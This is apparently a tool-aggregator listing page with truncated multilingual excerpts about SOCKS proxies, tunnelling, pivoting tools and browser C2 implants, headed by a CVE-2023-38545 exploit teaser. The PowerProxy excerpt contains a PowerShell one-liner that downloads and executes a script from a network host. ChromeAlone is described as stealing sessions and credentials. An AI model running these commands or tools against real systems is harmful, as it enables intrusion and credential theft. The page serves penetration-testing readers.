CVE-2023-38545

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我们要求所有被恐怖组织哈马斯劫持为人质的公民安全返回。在所有被扣押人员获释并安全回家之前，我们不会罢休。你可以帮助他们回家。https://stories.bringthemhomenow.net/ 该脚本旨在利用SOCKS代理服务器中的漏洞。它构造一个恶意的HTTP响应，当发送到目标SOCKS服务器时，可以在系统上执行任意命令。...

OnionHop

OnionHop V3 OnionHop V3 是一款现代化的跨平台 桌面应用（支持 Windows、macOS 和 Linux），它能够通过 Tor 路由你的网络流量。它可以作为本地 SOCKS 代理或系统级隧道运行 Tor，通过 Smart Connect 自动为你的网络选择可行的连接策略，扫描并应用适用于受限网络的各类传输协议的桥梁，甚至允许你志愿成为 Snowflake 代理。 免责声明 OnionHop 按“原样”提供。在某些地区，使用 Tor 可能是违法或受限制的。你需自行遵守当地法律法规。 V3 的新特性（自 v2.7 以来） V3 是在全新跨平台 UI...

reGeorg

reGeorg root@kitploit: | | | | | || | || |/ | | | | | \ | || | | || || || \ | | | ||\|||| |||/||\|| || ... every office needs a tool like Georg [email protected] / @wm [email protected] / @trowalts [email protected] / @kampstaaldraad 版本 1.0 依赖 reGeorg 需要 Python 2.7 以及以下模块：...

PowerProxy

PowerProxy PowerShell SOCKS 代理，具备反向代理功能。 PowerProxy 专为渗透测试人员设计。反向代理功能是优先考虑的特性，用于穿越拦截入站连接的网络。反向代理连接默认加密。支持 SOCKS 5 连接的 用户名/密码 认证。 设置 导入脚本： root@kitploit: iex new-object net.webclient.downloadstring"http://192.168.0.22/PowerProxy.ps1" 或者 Import-Module \192.168.0.22\Public\PowerProxy.ps1...

stunner

STUNNER Stunner is a tool to test and exploit STUN, TURN and TURN over TCP servers. TURN is a protocol mostly used in videoconferencing and audio chats WebRTC. If you find a misconfigured server you can use this tool to open a local socks proxy that relays all traffic via the TURN protocol into t...

stunner

STUNNER Stunner 是一个用于测试和利用 STUN、TURN 以及基于 TCP 的 TURN 服务器的工具。 TURN 是一种主要用于视频会议和音频聊天（WebRTC）的协议。 如果你发现一个配置错误的服务器，你可以使用此工具打开一个本地 SOCKS 代理，该代理通过 TURN 协议将所有流量中继到服务器背后的内部网络中。 我在测试 Cisco Expressway 期间开发了这个工具，并发现了一些漏洞：https://firefart.at/post/multiplevulnerabilitiesciscoexpressway/...

Boomerang

Boomerang Boomerang 是一个通过 HTTP+TCP 隧道将多个内部服务器暴露到 Web/云端的工具。服务器将在云端暴露两个端口：一个用于像 proxychains 这样的工具通过 SOCKS 连接，另一个用于代理（Agent）连接。代理可以在任何内部主机上执行，它连接到服务器并监听任何可以转发到内部机器（如 SOCKS 服务器）的连接。更详细的信息请参见下图。身份验证等功能正在开发中，将很快添加。 代理和服务器非常稳定，可用于红队进行多级跳板（Pivoting）以及将服务暴露给外部/其他网络。 Boomerang 代理和服务器支持 Windows、Linux 和 Arm...

StreamDivert

StreamDivert StreamDivert es una herramienta para interceptar o retransmitir conexiones de red entrantes y salientes en un sistema. Tiene la capacidad, por ejemplo, de retransmitir todas las conexiones SMB entrantes al puerto 445 a otro servidor, o solo retransmitir conexiones SMB entrantes...

TREVORproxy

TREVORproxy 一款用 Python 编写的 SOCKS 代理，能够随机化你的源 IP 地址。通过 SSH 隧道轮询你的恶意数据包，或赋予它们数十亿个独特的源地址！ 请参阅随附的博客文章，其中包含有趣的吐槽和一些很酷的演示！ 注意：如果你想防御此攻击，我们为你编写了一个优秀速率限制器 🩵。 作者 @thetechr0mancer 安装 root@kitploit: pip install git+https://github.com/blacklanternsecurity/trevorproxy TREVORproxy IPv6 子网代理图示 TREVORproxy SSH...

ChromeAlone

ChromeAlone - 一个浏览器C2框架 这能给我带来什么？ ChromeAlone 是一种浏览器植入程序，可以替代传统植入程序（如 Cobalt Strike 或 Meterpreter）。本仓库提供一个简单的构建流程，生成管理控制台、部署基础设施，并创建一个在目标上运行的 powershell 侧加载脚本。 安装后，每个 ChromeAlone 植入程序将提供以下机制： 在主机上提供 SOCKS TCP 代理 浏览器会话窃取和凭据捕获 从 Chrome 启动主机上的可执行文件 针对物理安全令牌（如 YubiKeys 或 Titan Security Keys）的 WebAuth...

multitor

multitor 创建多个带负载均衡的TOR实例。 描述 • 简介 • 使用方法 • 参数 • 要求 • Docker • 其他 • 许可证 • Wiki 描述 它为客户端提供一个单一端点。支持 HAProxy 、socks 协议和 http-proxy 服务器：polipo 、privoxy 和 hpts 。 此外，你可以 查看 之前运行的 TOR 进程，并为全部或选定的进程创建 新身份 。 multitor 已基于以下项目完全重写： Jan Seidl 编写的 Multi-TOR 项目：Multi-TOR 原始来源（ Sebastian Wain 项目）：使用多个 TOR...

Invoke-SocksProxy

Invoke-SocksProxy 使用 PowerShell 创建本地或“反向”Socks 代理。 本地代理是一个简单的 Socks 4/5 代理。 反向代理通过发起能够通过系统代理的出站 SSL 连接，创建一个 TCP 隧道。该隧道可在远程主机上用作 Socks 代理，以穿透进入本地主机的网络。 示例 本地 在 1080 端口上创建 Socks 4/5 代理： root@kitploit: Import-Module .\Invoke-SocksProxy.psm1 Invoke-SocksProxy -bindPort 1080 将最大线程数从 200 增加到 400：...

psc

PortShellCrypter -- PSC 该项目及其姊妹项目crash 属于我的反审查工具集，用于在敌对的审查环境中建立完全加密的 shell 和 TCP/UDP 转发。它同样适用于取证场景，当没有其他可用手段时，通过 UART 或 adb 从设备中转储数据。 通过 UART 连接到 Pi 的 DNS 查询和 SSH 会话转发 PSC 允许对 shell 会话进行端到端加密，支持单跳或多跳，且不依赖底层传输方式，只要传输层可靠并能收发 Base64 编码数据而不被修改/过滤即可。除了获得的端到端伪终端（例如在端口 shell 中），你还可以转发 TCP 和 UDP 连接，类似于...

filebuster

Filebuster An extremely fast and flexible web fuzzer What is it? Filebuster is a HTTP fuzzer / content discovery script with loads of features and built to be easy to use and fast! It uses one of the fastest HTTP classes in the world of PERL - Furl::HTTP. Also the thread modelling is optimized to...

ipchanger

IP CHANGER 🌐🔄 一款强大的基于 Tor 的 IP 轮换 CLI 工具 ，可按照指定时间间隔自动更改您的公共 IP 地址，并在简洁的终端表格中显示。 由 @CappricioSec 用 ❤️ 打造 ⚠️ 仅供教育和隐私测试用途。 请勿 将此工具用于非法活动。 📌 功能特性 🔄 自动 IP 轮换 – 使用 Tor 网络更改您的公共 IP 🧅 Tor 集成 – 使用 Tor SOCKS 代理进行匿名路由 📊 清晰的表格输出 – 在格式化的 CLI 表格中显示 IP 和时间戳 🖥 ASCII 横幅 – 由 figlet 驱动的精美横幅 ⚡ 实时间隔更新 – 无需重启工具即可更改刷新间隔...

proxychains-ng

ProxyChains-NG ver 4.17 README ProxyChains es un programa UNIX que engancha las funciones libc relacionadas con la red en programas ENLAZADOS DINÁMICAMENTE mediante una DLL precargada dlsym, LDPRELOAD y redirige las conexiones a través de proxies SOCKS4a/5 o HTTP. Solo soporta TCP no UDP/ICMP,...

MaccaroniC2

MaccaroniC2 - 使用AsyncSSH赋能命令与控制 MaccaroniC2 是一个 概念验证 的命令与控制框架 ，它利用了强大的 AsyncSSH Python 库，该库提供了 SSHv2 协议的异步客户端和服务器实现，并使用 PyNgrok 封装来集成 ngrok。此工具针对一个特定场景设计：受害者在受控机器上运行 AsyncSSH 服务器并建立到外部的隧道，等待攻击者发送命令。 攻击者利用 Ngrok 官方 API 获取隧道的主机名和端口以建立连接。这种方法充分利用了 AsyncSSH 提供的全面能力，包括对 SFTP 和 SCP...

redshell

RedShell 一个用于红队和渗透测试的交互式命令提示符。自动通过SOCKS4/5代理经由 proxychains 推送命令。可选的 Cobalt Strike 集成可从团队服务器拉取 Beacon 的 SOCKS4/5 代理。活动自动记录到本地 CSV 文件以及（若已配置）Cobalt Strike 团队服务器。 请注意，由于 RedShell 底层使用 proxychains，仅 TCP 流量会被代理。 安装 RedShell 运行在 Python 3.8 上。 安装依赖： root@kitploit: pip3 install -r requirements.txt 安装...

pivotnacci

pivotnacci 通过部署HTTP代理进入内部网络。Pivotnacci 允许你创建一个与HTTP agents进行通信的socks服务器。架构如下所示： 该工具受到优秀的 reGeorg 的启发。但它包含一些改进： 支持负载均衡服务器 可自定义轮询间隔，有助于降低检测率 自动丢弃被服务器关闭的连接 模块化且更简洁的代码 通过pip安装 受密码保护的代理 支持的socks协议 Socks 4 Socks 5 No authentication User password GSSAPI 安装 从Python包安装： root@kitploit: pip3 install...

TCLtools

Scripts TCL para pruebas de penetración en Cisco IOS Con TCLtools puedes transformar cualquier hardware Cisco IOS en una estación de pivote. ¡Es fácil de configurar y usar! Características TCLmap — Implementación de escáner de puertos nmap TCLproxy — Implementación de servidor proxy TCLproxy...